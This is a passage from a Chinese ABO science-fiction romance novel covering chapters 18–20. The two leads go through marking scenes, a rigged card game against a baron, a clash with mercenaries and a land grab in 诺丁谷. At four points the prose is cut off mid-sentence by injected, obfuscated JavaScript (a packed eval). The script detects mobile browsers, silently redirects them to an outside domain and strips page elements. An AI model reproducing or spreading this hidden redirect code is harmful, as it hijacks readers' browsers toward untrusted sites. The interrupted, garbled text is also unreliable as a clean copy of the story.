他的衣服一点没乱。上衣,裤子,都整齐非常。 可裤脚之下,他的一双赤足,先是用力地蹬着地毯,接着足趾又如失控一般紧紧蜷起,甚至连关节都在泛白—— 直至Alpha的利齿缓缓离开他的后颈。 结束了? 顾礼然喘着气,不假思索地脱口而出:“再来。” Alpha明显顿了一下。 顾礼然不耐地回手按住对方的脖颈,手指压住那温度明显也升高了的線体:“怎么,没有了?” 好几秒过去,Alpha才小声道:“有的。” 声音竟是委委屈屈的。 顾礼然:“那还不……唔……” 对方果然还是有的。 有很多。 * 待顾礼然再度睁开眼时,他是侧身倒在软榻上的。 刚才好像睡过去了两分钟? 头发不知何时已垂落在额前,上衣布满皱褶,就连扣子都开了两颗。 明明是个凌乱不堪的状态,偏偏四肢百骸都说不出的舒丨爽。 那些焦躁,烦闷,困扰,不知不觉间都已被海水带走。剩下的,唯有海风温柔而清新地裹住自己。 清醒后的顾礼然不敢沉浸于此,先伸手摸向自己的喉间—— 还好,变声器还稳稳地贴在原处。 他这才掰开Alpha的胳膊,坐起身,回头望着那狠狠证明了自己“有很多”的Alpha—— 嗯…… 同自己相比,这人看上去更惨一些。 衣服都快被抓破了,头发被揉得不成形状,脸颊更是红得有几分可怜。 虽说黑色眼罩挡住了对方的眼部,但顾礼然相信,此时这人的眼神一定跟一只被戏弄了的金毛狗狗一样,又无辜又无措。 被这样的眼神凝望着,任是什么人都会心软吧? ……软什么软。 顾礼然抬手向后拢了一把自己的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416423|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,不再去看戚应物,只清清嗓子,道:“你可以回去了。” 他知道,自己现在应该站起身,从容地离开这个房间。 可他现在腿软得根本站不住,谈何从容离开。 好在戚应物还是听话的。 这人乖乖起身,摸索着整理了下他皱得不成样的上衣,又小心翼翼地发问:“带给你的衣服,收到了?” 顾礼然:“收到了。” 戚应物:“我又准备了几件,都放在外面的客厅里了。我不知道什么时候能回首都星,你可以……嗯,按计划,慢慢用。” “虽说没有标记好用,但至少不会让你这么难受。” 顾礼然在心底叹口气,抬手揉着眉,无力道:“行了,你废话太多了。” “回去吧。” “你不是还有很多事?现在已经晚上六点了吧。” 戚应物愣了一下,应道:“我刚刚听见钟声……应该是八点了。” 八点?! 顾礼然抬头找到挂钟,确认了时间:没错,晚上八点。 戚应物解释道:“第二次标记完,你就睡着了。” “我看你睡得很沉,就没叫醒你。” 这人的声音里竟带着些歉意,还稍稍垂着头,活脱脱一只做了错事等着主人发话的大狗狗。 鬼使神差的,顾礼然靠坐在软榻上,两腿交叠,朝这人低声说了句:“过来。” 戚应物一怔,慢慢倾斜身体,犹豫道:“你的線体有些肿,不能再标记了……” 顾礼然啼笑皆非,抬手一把撅住戚应物的下巴:“谁说要再标记了。” 他往前探着身体,附到戚应物耳边,低声道: “要是不想让我睡过去,下次就别再做那些没用的事浪费时间,直接来,明白了?” 原本就脸颊泛红的戚应物,在听完对方所说的话之后,两只耳朵都红得要滴血。 他直起身,没反驳也没说话,只是僵硬地点了点头。 * 深夜。 戚应物驾着越野机车,沿着不慎宽敞的道路,朝着十四区疾驰。 夜风打在他的脸上,却没能降低他脸上的热意。 他不光脸上很烫,心里也乱得理都理不清。 不是因为方才的两次临时标记。 而是因为,当Omega在自己怀里睡过去的时候,当对方用那种捉弄人的态度让自己“以后直接来”的时候,他的脑海里,无法抑制的,不受控制的,跳出了另一个人的脸。 那个恶劣的,阴晴不定的,可以不择手段伤害人的Alpha。 这到底是为什么啊?! 18.雨夜 清晨。 天还未亮,戚应物便接到了顾礼然的电话。 光幕上,顾礼然眼下的乌青淡去不少,脸色也不再像前两天那么憔悴。 看来自己送给他的那段音乐,对他真的有助眠效果。 上次送的是海浪声,下次再把风吹树林的那段也送给他试试? 戚应物正如此想着着,顾礼然已经在那边发问:“怎么一大早就走神?” 戚应物:“……” 顾礼然也没追问,单刀直入道:“菲利斯男爵邀请我去参加他的‘牌局’,预计要用一天时间。” “今天白天,你们做好准备。最快今晚,最迟明天,一定会有人来挑事。” “记得留个活口。” 这话说得没头没尾,戚应物却全听懂了。 几天前,顾礼然便和他提过这件事。 这位叫菲利斯的贵族,手握三个区域的重建权,在此地是出了名的好赌。这段时间以来,菲利斯没少从“人傻钱多”的小白脸顾礼然这里赢钱。今天又来约顾礼然,想必是又打算捞一把大的了。 这位赌鬼怕是万万没想到,顾礼然早就在等着他了。 戚应物应了声“没问题”,挂掉了电话。 待光幕上一片空白之后,戚应物才想起:咦,顾礼然今天没穿衬衫,而是穿了件高领衫? 奇怪,这人自打来诺丁谷之后,不都天天西装革履的装成暴发户吗? ……我在干嘛,我为什么要关心他穿了什么。 别想了。 * 午后。 菲利斯男爵的宅邸。 “哎呀呀,顾老板,你这个玩牌的运气啊,真是不太好。”菲利斯将顾礼然面前的筹码全都拢到自己这边,笑嘻嘻地说着,“要不,今天就到这里了?” 顾礼然显然已经上头了,一副外强中干孤注一掷的模样: “不行!我还能翻盘!” “再来一盘!” 菲利斯意味深长地嗤笑一声:“顾老板啊,你之前登记的那些现金啊,股份啊,都输得差不多了,你还能拿什么翻盘啊?” “我先跟你说,你那个14区的开发重建权,我是不要的……” 顾礼然猛拍牌桌道:“我还有好几条矿脉的开采权!在水岸星!” 菲利斯眼珠一转:“哦……?矿脉啊……那倒是,可以考虑考虑……” 原来这小白脸手上还有矿呢。 呵呵。 送上门来的好东西,怎么能不要? 一个小时过去了。 就在菲利斯眼看着要将开采权全都赢到手时,这个小白脸的运气突然好了一把,险胜一局。 菲利斯哪里肯就此罢休,当然要一追到底。 两个小时过去了。 那些开采权又回到了顾礼然手上。 不止如此,菲利斯名下的现金、股份,也有一部分到了顾礼然这里。 菲利斯怎么受得了这份气,必须要赢回来。 就这么到了傍晚。 顾礼然漫不经心地在用指关节在牌桌上敲了敲:“签名吧,菲利斯。” 一分钟前,输光了现金和股份的菲利斯,将诺丁谷11区、12区和13区的重建权,都一股脑地输给了顾礼然。 现下,菲利斯浑身瘫软,看着空中漂浮着的那份协议,始终抬不起手去签名。 他的视线飘向对面的顾礼然,看着这不知礼节的暴发户,不明白对方怎么就运势急转,手气好到了这个程度? 不过,对方到底只是个暴发户……虽说是个Alpha,但毕竟身份卑微。 就算把他偷偷处理了,又有谁能为他声张什么呢? 自己可是贵族,自己上面可是有大人物的…… 菲利斯的眼珠子又转了转,悄悄看向一直站在后方的保镖。 就在这时,他的心脏一阵刺痛,像是有千万根细针扎了上去! 他的眼球,也像是要被直接抠出来一样,每一根神经都在被拉扯! 霎时间,他痛得睚眦欲裂,哪里还顾得上什么贵族礼仪,张嘴就要大喊救命—— 然而,他的嘴像是被什么给缝住了,根本张不开! 这是,这是……精神力……! 菲利斯浑身汗如雨下,连马甲都湿透了。 坐在对面的“暴发户”,露出了一个仪态端庄的笑:“菲利斯,你既然身为贵族绅士,想来是不会赖账的?” 话音落下,那让他痛得撕心裂肺的精神力,瞬间消失——显然是在等着看他要怎么回话。 菲利斯此时还有什么不明白的。 眼前的人,拥有着罕见的高阶精神力。 这种恶匪一般的精神力,可不是军官那种受过训练的威压式精神力,而是单纯想要撕裂对手、毫无骑士精神的攻击式精神力。 这,这,这个暴发户,根本就是个匪徒! 我一个贵族老爷,哪里能和悍匪硬碰硬? 不如暂时忍下这口气,稍后再给他一个措手不及…… 菲利斯想清楚之后,呜咽着认栽,哭哭啼啼地用生物信息锁签署了协议。 * 十四区。 表面上,飞鱼帮的众人和平常一样,搬砖的搬砖挖土的挖土。 但大家都比平日多了个心眼,关注着周围可有什么不同寻常的事。 这种时候,戚应物不得不再次感叹,顾礼然选择从飞鱼帮借人,而不是雇佣诺丁谷本地的佣兵,是多么正确的一件事了。 且不说大家都各有所长,单看现在这齐心协力一致对外的模样,哪里是松散的佣兵能做到的? 入夜时分,裘千偷偷找到了戚应物:“戚船长,我们昨天订的一批物资,就快送到了。” “我偷偷用无人机加远视仪观察了下,这批送货的人有点奇怪……但我又说不出哪里怪……” 戚应物从裘千手上接过改造后的远视仪,盯着屏幕片刻,点头道:“确实有问题。” “这不是普通的运输队伍。” “看他们的身形,步伐,还有鞋——这是一帮雇佣军,专业杀手为主,里面至少有三个Alpha。” 果然让顾礼然说中了。 菲利斯一旦输掉手上的重建权,一定会狗急跳墙,派人到十四区大肆作乱,再以“这个暴发户负责的区域发生了这么大的事故,他没有资格继续重建”为由,把顾礼然赶走,变相地让转让协议作废。 这位“贵族老爷”,可真是一点都输不起啊。 戚应物那双素日澄澈干净的眼睛,此时半眯一下,极少见地闪出一点寒光。 他低低吹响小鱼形状的哨子,示意飞鱼帮的众人:准备动手。 * “一个小破十四区,尽是些老弱病残,也值得我们动手?” 伪装成运输队的雇佣军里,一个半张脸都是刺青的Alpha不屑地抱怨着。 另一位戴着晶石耳钉的Alpha“啧”了一声:“收人钱财,为人做事,大不了都杀个干净,也算没白拿钱。” 这几人身后,还跟着数十名身高体壮的Beta。 同领头的Alpha一样,他们也根本没有把“清洗十四区,再伪装成事故”这个任务放在眼里。 十四区,他们是知道的。 诺丁谷受灾以前,这个区域里就既没有工厂,又没有矿场,一丁点儿油水都没有,里面的居民也多是没钱没势的老人。 灾变以后,负责重建的大公司都对这个区域避之不及,谁也不会真的把十四区接过去。 这样一个死气沉沉、夜里连一盏灯都没有的地方,居然还要让他们兄弟来“清理”一番,实在是大材小用了。 一行人正这么想着,并未注意到,队伍里越来越安静,脚步声越来越少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422130|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当最前方的几个人察觉到不对,猛然回头查看时—— 昏暗的月光下,队伍里人竟已无声无息少了一半! 领头的那位光头Alpha暗叫不好这不对劲。 他一咬牙,下令道:“人别动了,直接丢爆破凝胶过去!先炸了再说!” 剩下的人也是脸色发白,再不敢托大,纷纷掏出凝胶喷射丨枪准备瞄准。 这一下,他们的脸更白了。 “枪……用不了……” “界面,死掉了,什么都显示不出来……” 光头Alpha怒吼一声:“那就换其他武器!上破障弹!” 手下抖抖索索地应道:“破障弹……也启动不了了……” “我们的所有装备,好像……好像都失灵了……” 话音刚落,黑暗中,一张大网忽地从天而降! 几位Beta躲闪不去,纷纷如虫孓一般被牢牢套在网中,再“倏”的一声,被什么装置倒吊在了半空中! 唯有剩下三名Alpha,在地上几个翻滚,堪堪躲开了这张网。 就在几人狼狈起身时,暗处慢慢走出一名身形高挑之人。 对方似也是一名Alpha。 耳钉Alpha探索片刻,大声道:“这人没有精神力,用精神力压——” 话未说完,对方已闪电般跃至身前,一记直拳子弹般正中他的咽喉。 耳钉Alpha捂着喉咙,艰难地“嗬嗬”两声,向前跪倒在地。 对方并未停下来查看战况,而是迅捷无比地转身、蹬地,在空中一个拧转,一条腿如长鞭般重重扫过光头Alpha的颈侧! 又是不留余地的一个杀招! 光头Alpha连哼声都来不及,侧身栽倒在地。 最后剩下的那位刺青Alpha,趁着两位兄弟被打得奄奄一息之际,开启了精神力压制。 他丝毫不敢大意,满心恐惧,满头冷汗,将精神力无所保留的尽数释放! 就算对方是顶级Alpha,也无法扛住这么强大的精神力压制吧? 然后,他眼睁睁地看见,那人像是丝毫不受影响一般,踏在泥泞的地上,一步一步,走到自己面前。 对方是个栗色头发、浅褐色眼睛的青年,看着完全没有什么凶相。 对方望着自己,甚至扯起嘴角笑了一下: “你的这点精神力,根本——” “不够看。” 下一秒,刺青Alpha胸口一阵巨痛,往后仰倒,砸在地上失去了知觉。 戚应物站在原地,不轻不重地呼出一口气。 他打开光脑,准备和顾礼然说一声“问题解决”,却发现光脑一片空白。 哦,对,自己用脉冲球干扰了附近所有的装备。 估计信号还得过一阵再恢复了。 那就过会儿再跟他说吧。 * 夜深了。 从傍晚就开始的淅沥小雨,渐有变成瓢泼大雨之势。 戚应物领着众人,顶着雨,将这帮徒有其表的雇佣军都给绑起来关进地窖,又把他们携带的诸多武器分门别类地收好,充实了十四区的弹药库。 待一切都收拾好,已是凌晨两点了。 戚应物瞄了眼光脑,发现信号还是断断续续的。 算了,要不明天一早再跟顾礼然发消息。 正如此想着,他的耳朵敏锐地捕捉到了机车的发动机声音。 难道还有第二波雇佣军? 戚应物当即冲进雨里—— 一辆重型机车打了个转,呼啸着停在营地前。 顾礼然跨坐其上,一条长腿支着地,黑发湿漉漉地贴着额。 他透过重重雨幕,冷冷看向自己,言语间的寒意如有实质: “还活着?” “怎么不接电话?” 19.穿上他的衣服 戚应物觉得自己一定是被雨淋傻了。 他怔了好几秒才反应过来,隔着如注大雨对顾礼然喊道:“我用了脉冲球!信号断了!” “这不是我的惯用战术了吗!我以为你肯定能想到呢!” 他一边喊,一边跑到顾礼然身边,代他扶住重型机车,急道:“你快进去!都湿透了!” * 当顾礼然走进指挥所时,身上还在滴水。 他一面抹着额间的水,一面打量着指挥所。 尽管此前艾科和戚应物都给他看过视频,但现场看到实物,又是种不同的感觉。 不得不说,这个指挥所,“五脏俱全”。虽然袖珍一个,但该有的功能都有,完全符合它的定位。 能在这么短的时间里做得如此井井有条,足见戚应物确实调度有方举措有适。只要稍加打磨,这人必定是不可多得的人才。 顾礼然在心中如此默念着,脸上仍是冷冰冰的没什么表情。 这时,戚应物停好车也急匆匆地进来了。 这人同样满身是水,站在门口跟刚上岸的狗狗一样抖了抖,这才疾步走到顾礼然身边:“走,去我房间换下衣服。” 顾礼然一僵:“不必。” 戚应物:“湿漉漉的,你不难受吗?就算Alpha也会感冒的。” “感冒了还容易引发信息素紊乱易感期提前什么的,你带够抑制剂了吗?” 顾礼然不禁瞳孔一缩。 得承认,戚应物说得没错。 自己的信息素现在本来就不稳定,万一因为这点小事又造成极度紊乱需要完全标记…… 戚应物见顾礼然神色有变,赶紧又补了一句:“哇,到时候,本来你赢面大好,却因为易感期不得不关在旅馆里……” 顾礼然打断了他的话:“别说了。” “我换——不过我另外找个房间。” 继“吃不吃咖啡焦糖味的小零食”之后,终于再一次说服顾礼然的戚应物,心中一阵得意。 他本就温和的眼睛弯出一个更为柔和的弧度:“你用我的房间吧。” “衣服都是干净的,你自己找一下你能穿什么。” “我随便拿两件衣服再找个地儿就换了。” 说罢,戚应物当真跑进房间随手抓出两件衣服,就躲到不知道哪儿去了。 顾礼然犹豫一下,独自走进了戚应物的房间。 他下意识动了动鼻子。 味道。 好熟悉的味道。 他垂下眼帘,装作浑不在意的模样,迅速剥掉身上湿透了的衣衫。 可那股甜香,那股带着海盐气息的甜香,并不会因为装作不在意而消失。 相反,当他在这小小的密闭空间里裸着半身时,无论再怎么否认,都无法忽视掉那种萦绕于周身的味道。 就像是……对方的气息化作了无数丝线,亲密地缠绕在自己裸露的皮肤上。 剥干净上衣与长裤,光脚站在戚应物房间里的顾礼然,从手臂开始,敏感地冒起一层鸡皮疙瘩。 ……自己真的要穿上他的衣服吗?要带着他的味道,行走,交谈? 顾礼然的耳朵都开始发烫。 可与此同时,他的心底却无视他的意识,自顾自地回想起那天晚上,回想着他偷偷穿上戚应物送过来的T恤时,是一种怎样的舒畅。 ……穿上他的衣服,也是获取信息素的方式之一。 这只是一种治疗。 顾礼然如此告诉自己。 既然这样,那就别再做无谓的纠结。 顾礼然调整好呼吸,再次做出毫不在意的样子,从简易衣柜里找出了上衣和长裤。 不过戚应物没有高领衫。 现下自己颈后的痕迹还没全消,就算用了信息素抑制贴,仔细一看还是会有破绽。 顾礼然便取下一块迷彩头巾,当做领巾一般系到颈间。 * 顾礼然走出房间时,正看见戚应物正在和飞鱼帮的人说话。 顾礼然记得飞鱼帮派过来的每一个人。 说话这位名叫叶子睿,是他们的药剂师,也是队伍里唯一的Omega。 对方手里端着个热气腾腾的托盘,仰着头,神色认真地叮嘱着什么。 而戚应物,嘴角带着点温和的笑意,时不时地点下头,显然很认同Omega所说的。 顾礼然微微眯了下眼。 没一会儿,戚应物从Omega手里接过托盘走到自己面前: “挺合身。” “嗯?你还给自己搞了个领巾?” 顾礼然没接话,而是看向了戚应物手里的托盘:“这是?” 戚应物忙道:“这是小叶给我们煮的姜茶,能防感冒。” 说罢,戚应物张罗着让顾礼然坐下,又将托盘小心地放在简易茶几上,再端起茶杯递到顾礼然手中: “热乎的,快趁热喝。” 顾礼然接过杯子,看着戚应物眉宇间那一望而知的愉悦神色,心底方才突然涌起的莫名不悦,此刻更重了几分。 他将杯子在手里转了一圈,并未直接放到唇边。 * 戚应物自己拖过一张折叠椅,挨着顾礼然坐下了。 自打方才看到突然到访的顾礼然,他心里就有些隐秘的,似有似无的兴奋。 好比有只白色的水鸟,扇着翅膀掠过微风吹拂下的湖面,在水面上点出了阵阵涟漪。 若不是一直盯着湖水看,想来都不会察觉出这点变化,更不会知道这点波澜从何而来。 可戚应物并不是一个会反复审视自己内心的人。 他只是凭着本能,不想让深夜冒着雨前来的顾礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427200|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然生病,不想让他被冻着,不想让他不高兴。 他端起那杯热乎乎的姜茶,先呷了一口—— 哇哦,甜。 向来嗜甜的戚应物,眉眼弯出一个惬意的弧度,轻赞着:“好喝。小叶煮的茶果然不错。” 一旁的顾礼然冷冷看向他,像是要说什么,但最终却一言未发,只是将杯子搁在手里又转了一圈。 尽管顾礼然没说话,戚应物还是瞬间想起: 对了,顾礼然不喜欢甜的。 小叶并不知道这一点,想必在两杯茶里都放了加倍的糖浆。 如此想着,戚应物索性跳去厨房,麻利至极地另做了一杯牛奶茶,再不由分说地递向顾礼然:“来,换一换。” 看着急冲冲端着牛奶茶站在自己面前的戚应物,顾礼然并没直接换掉姜茶,而是叠起长腿,慢条斯理地探究着:“为什么?” 戚应物本想直接说:这个太甜了你不会喜欢。 可就在他垂着头想解释的那一瞬间,他的视线,不期然地落在了顾礼然翘起来的小腿上。 确切的说,是脚踝上。 顾礼然挑了一条合身的黑色长裤,光脚随便踩了双人字拖。 随着他方才翘起腿的动作,裤脚稍稍向上缩起一截。 而这一截,刚刚好,将他轮廓分明,线条干净的脚踝暴露在了灯光下。 明亮的白色灯光里,他脚上的皮肤像在泛着光,淡青色的血管清晰可辨。 但这不是最让人移不开眼的。 最显眼的,让戚应物连呼吸都为之一滞的,是顾礼然的脚踝处,在那块棱角分明的踝骨上,有一粒痣。 黑色的,小小的,墨点一般的痣。 这一瞬间,戚应物只觉得脑子都混乱了。 各种乱七八糟的应该不应该的念头,都在他的脑海里翩翩起舞。 以至于他完全忘记自己本来是想要说什么的。 这漫长的沉默终于令顾礼然愈发的不耐烦。 他冷声道:“这么喜欢这一杯?” 这么喜欢这位Omega烹煮的茶? 戚应物:“嗯……啊,毕竟很甜……” 顾礼然直接将两人手里的茶掉了个个儿。 戚应物晕乎乎的,捧着手里的姜茶重新坐下来。 他机械地端起杯子,往嘴里灌了两口。 好甜。 好好看。 好想把手指按上去。 ……我在想什么?! 戚应物的脸霎时染上了一层红。 恰在这时,身边的人将杯子重重放下:“喝完了?” 好喝得让你脸都红了? 戚应物:“还没……” 顾礼然的声音冷得像结了冰: “喝完了,就带我去看你们抓到的人。” “立刻审问。” 20.是谁? 对这些雇佣兵的审问没费太多工夫。 在顾礼然的精神力施压之下,且不说那些Beta了,就连为首的几个Alpha,都在三分钟以内防线崩溃,将他们受过谁的委托,干过哪些腌臜事,交代得一干二净。 从地窖出来时,雨已经停了。 天光晦暗,指挥所和不远处的营地都笼罩在茫茫雾气里。 顾礼然换回烘干了的衣服,接过戚应物刚煮好的黑咖啡喝了一口:“三个Alpha,都有B级以上的精神力——你都自己应付下来了?” 戚应物不以为然道:“B级?其中有两个,还没来得及释放精神力,就被我撂倒了。” “那个刺青的,他的那点儿精神力,对我来说根本没有一点威圧感。” 顾礼然:“……他是A级。” 戚应物怔了一下。 A级,虽然在顾礼然这样的双S级前根本不够看,但震住B级以下的,那是不在话下。 更别说是没有精神力的。 自己那么轻松地就扛住了A级的威压? 他下意识抬手按住胸口部位。 说起来,大约是因为那位“百分百匹配的神秘Omega”,自从上次的临时标记后,自己胸前的伤疤又淡了些。不止如此,自己对精神力的抵抗好像都更强了? 顾礼然瞥了眼戚应物的动作,追问道:“你究竟是因为什么,会释放不出精神力?” 在帝国境内,除去声名赫赫的大贵族以及经过选拔的军人以外,小贵族和绝大部分平民都是没有精神力的。比如在整个偌大的飞鱼帮,只有裘壹和他的几位亲信,才有着C级或者D级精神力。 但戚应物既然能对抗住A级,就不应该是完全没有,或者说至少是“曾经有过”。 戚应物心头一紧,先是敷衍一句“嗯病了一场就没了”,又提问道:“对了,我看你刚才用来‘拷问’雇佣兵的精神力,和你以前的精神力不太一样?” 从那些雇佣兵的反应来看,顾礼然用来击破他们的精神力,侵略感十足,可以说是完全“不讲武德”,和当初按住自己的那股力量完全不是一个路数。 顾礼然:“伪装过的。这样和我的身份更相符。” 戚应物明白了。 顾礼然原本的精神力,太大气威严,也太有标识性,很容易暴露他的真实身份。 现在这土匪一般的精神力,根本无法让人联想到顾礼然。 顾礼然放下空了的咖啡杯,看了眼光脑上的时间:“快到了。” 戚应物正想问什么快到了,便听见了外面隐隐传来的发动机声。 但他并未声张自己能听见那么远的声音,而是陪顾礼然一起默默等着。 一刻钟后,顾礼然大步走出指挥所。 只见浓雾里,驶出来一辆接一辆重型卡车。 一个接一个白衬衫黑西装、穿得唯恐别人不知道“我是保镖”的精壮Beta从卡车上跳了下来。 此时,这些“保镖”排成一列,背着手向顾礼然齐齐行礼:“顾先生!” 这汹汹气势,将指挥所里早起的人吓得一个激灵,将还在睡梦中的人全都惊醒。 戚应物虽然没有被这架势给吓到,却隐隐觉得,“保镖”虽然是生面孔,但他们的声音,好像在哪里听过? 他思索片刻后,终于想起—— 没错,在别苑听过! 这些“保镖”,其实是顾礼然的亲卫队员!只不过改变了容貌让人认不出来而已! 戚应物很清楚,以顾礼然的级别和身份,能在他身边担任亲卫队员的人,都是绝对的精英,无论是智力还是战斗力,都远超普通人。 现在到底什么情况?为什么顾礼然要把自己的亲卫队员拉到这里来? 戚应物费解地看向了顾礼然。 顾礼然双手交抱,依然是那副不知天高地厚的暴发户模样: “昨天我在牌桌上赢了菲利斯,这家伙就派了雇佣兵来给我添乱。” “我心里害怕极了,连夜花高价从其他星球请了保镖过来,很合理吧。” 戚应物看着演戏演得很投入的顾礼然,不知怎的有些忍不住想笑,心道这人装模作样的样子也挺好看的——不不,不对,我又想到哪里去了,这和好看有什么关系。 他赶紧点点头:“嗯,很合理。” 顾礼然又道:“我担心菲利斯还会派其他人来重建区搞破坏,所以在十四区留下十位保镖,这也很合理吧。” 戚应物:“……合理。” 顾礼然:“另外,我刚赢到手的三个区,我还想派自己人过去——所以,我又找飞鱼帮调了一批人过来,这也是非常正常的事。” 戚应物:“……正……常。” 顾礼然这是找了个由头,大张旗鼓地往诺丁谷调人? 选择亲卫队可以理解——这都是顾礼然信任的精英。 可为什么还要从飞鱼帮调人?仅仅是因为不能暴露身份吗? 戚应物正疑惑着,顾礼然漫不经心地拍拍他的肩膀:“戚船长,留在这里的保镖,还有飞鱼帮新来的人,都交给你了。” 戚应物的瞳孔骤然放大:? 这些“保镖”,这些训练有素以一当十的亲卫队员,你也交给我?! 顾礼然黑漆漆的眼睛对着戚应物:“他们都是来帮忙重建的——既然重建由你负责,人手自然也由你调配。” 他的语气笃定而平稳,就像这是最自然不过的一件事。 戚应物望着前方黑压压的一队人,心里打鼓一般跳着。 他就算再迟钝,再看不懂顾礼然下的这盘棋,也知道对方此刻绝非儿戏。 他下意识地站得更直了些:“我明白了。” “我……可以。” 顾礼然没有再说什么。 他跳上重型卡车的驾驶室,对戚应物道:“昨晚的车留给你用了。” 戚应物站在下面,隔着窗玻璃望着顾礼然:“好。” 顾礼然没有再回应,也没有再转过头过来看他。 卡车驶回了浓雾里。 戚应物听着发动机渐行渐远,手指攥紧些许,回身大步走进了指挥所。 * 接下来的二十几天,戚应物都没有再见过顾礼然。 但他从不同人那里,听到了很多顾礼然的消息。 比如,在稍稍热闹些的十二区,街头会有人议论: “听说了吗?那个暴发户Alpha,把第九区的重建权也买下来了!” “啊?第九区?那个老屠夫阿方索管的区域?他肯卖?” “自然是不肯的啊!但听说这个Alpha,根本不跟他谈判,直接带着一队保镖,把阿方索住的地方围了起来——后来,阿方索就肯了!” “啊……这样也可以……” “嗯嗯!不止如此,后来有人看到阿方索,说这老屠夫摔断了一条腿,看上去惨得很!” “哈!那不是因果报应?阿方索这家伙,有多少人在他的矿上断手断脚,他根本不管,直接拉去十四区让这些人等死!” “果然恶人还是要有恶人磨啊!” 如此种种。 总之,在不到一个月的时间里,顾礼然连敲带打的,一口气又拿下5个区域的重建权。之前最受轻视的“小白脸”,已摇身一变,成为“惹不起的残暴大地主”。 戚应物这边自然也没闲着。 随着负责重建的范围越来越大,他不可能再采用一开始那种万事亲力亲为的方式。 他把飞鱼帮的人按新老搭配的方式分了队,又给每个队伍都配上了两名顾礼然留下的“保镖”。 不得不说,这些亲卫队员的能力,比戚应物预计的还要强。 他们能完美执行戚应物做好的计划,还能巧妙地将飞鱼帮的人都调动起来。 最让戚应物惊叹的,是他们甚至有意无意的将军团的作风“传染”给飞鱼帮的人。 要知道,飞鱼帮的人虽然有手艺有干劲,却谈不上有纪律。 可一段时间过去,这些人从说话到做事,通通都利落了许多。 有时候戚应物甚至会产生一种错觉:若是给飞鱼帮换上一身军服,说是军人也有人信了吧? 至于戚应物自己,现在更多的工作是周旋于各个区域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432761|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间,协调资源人手,以及继续和委员会的人斗智斗勇。 当然了,随着他们“占据”的区域日益扩大,这些委员会的人,态度早就从一开始的倨傲无礼变为了点头哈腰,再不敢明着和戚应物叫板了。 不知不觉间,戚应物在诺丁谷已经颇有名望。 许多人从未见过顾礼然,只知道“那是一个凶狠的暴发户Alpha”,但他们都认识戚应物,知道“戚船长是神秘Alpha的代理人”,以及“戚船长才是真正管事的那个人”。 对于这样的闲话,戚应物并不怎么搭理。 只是有一次,他在光脑里问顾礼然,自己每天发过去的汇报,顾礼然有没有看。 顾礼然直白说道,没看。 戚应物急了,说你就不担心我搞出什么岔子么。 结果顾礼然单手支着脑袋,一脸的漫不经心:“哦?要真出了岔子,到时候除了‘两只老虎’以外,再给你加一个‘门前一群鸭’好了。” 戚应物呆了两秒,和这个“不关心不负责”的恶劣金主争吵——或者说单方面严正抗议了足足两分钟。 抗议完之后,戚应物带着满心的忿忿,继续埋头研究那怎么都对不上的晶石账目去了。 * 就在顾礼然正式拿到第六区重建权的那一天,戚应物见到了顾礼然。 戚应物早早就收到了消息: 菲利斯这个“贵族老爷”,先是偷了不少晶石,又命人在电场和采矿场埋下爆破凝胶后,准备搭乘飞船跑路。 可惜,这位老爷前脚才进空港,后脚就被戚应物拿麻袋给罩住了。 上次,从雇佣兵那里拿到菲利斯的各种证据后,顾礼然并没有立即去对质,而是告诉戚应物“不着急,再等等”“菲利斯这人,愚蠢又冲动,非常容易被摆布”“等到他认为彻底翻身无望准备逃走时,我们再来找这人。” 所以戚应物早就找人监视了菲利斯,就等着这厮出逃。 此刻,戚应物像拖一袋土豆那样,将“贵族老爷”菲利斯拖到了顾礼然面前。 当菲利斯自己从麻袋里爬出来时,涕泪横流满身污迹,哪里还有半分之前的优雅模样? 这人可并没有忘记,顾礼然的精神力有多么的恐怖。 他五体伏地跪在地毯上,比对造物主祈祷都还要虔诚,哀求顾礼然给他一条活路。 顾礼然这次没有再用精神力。 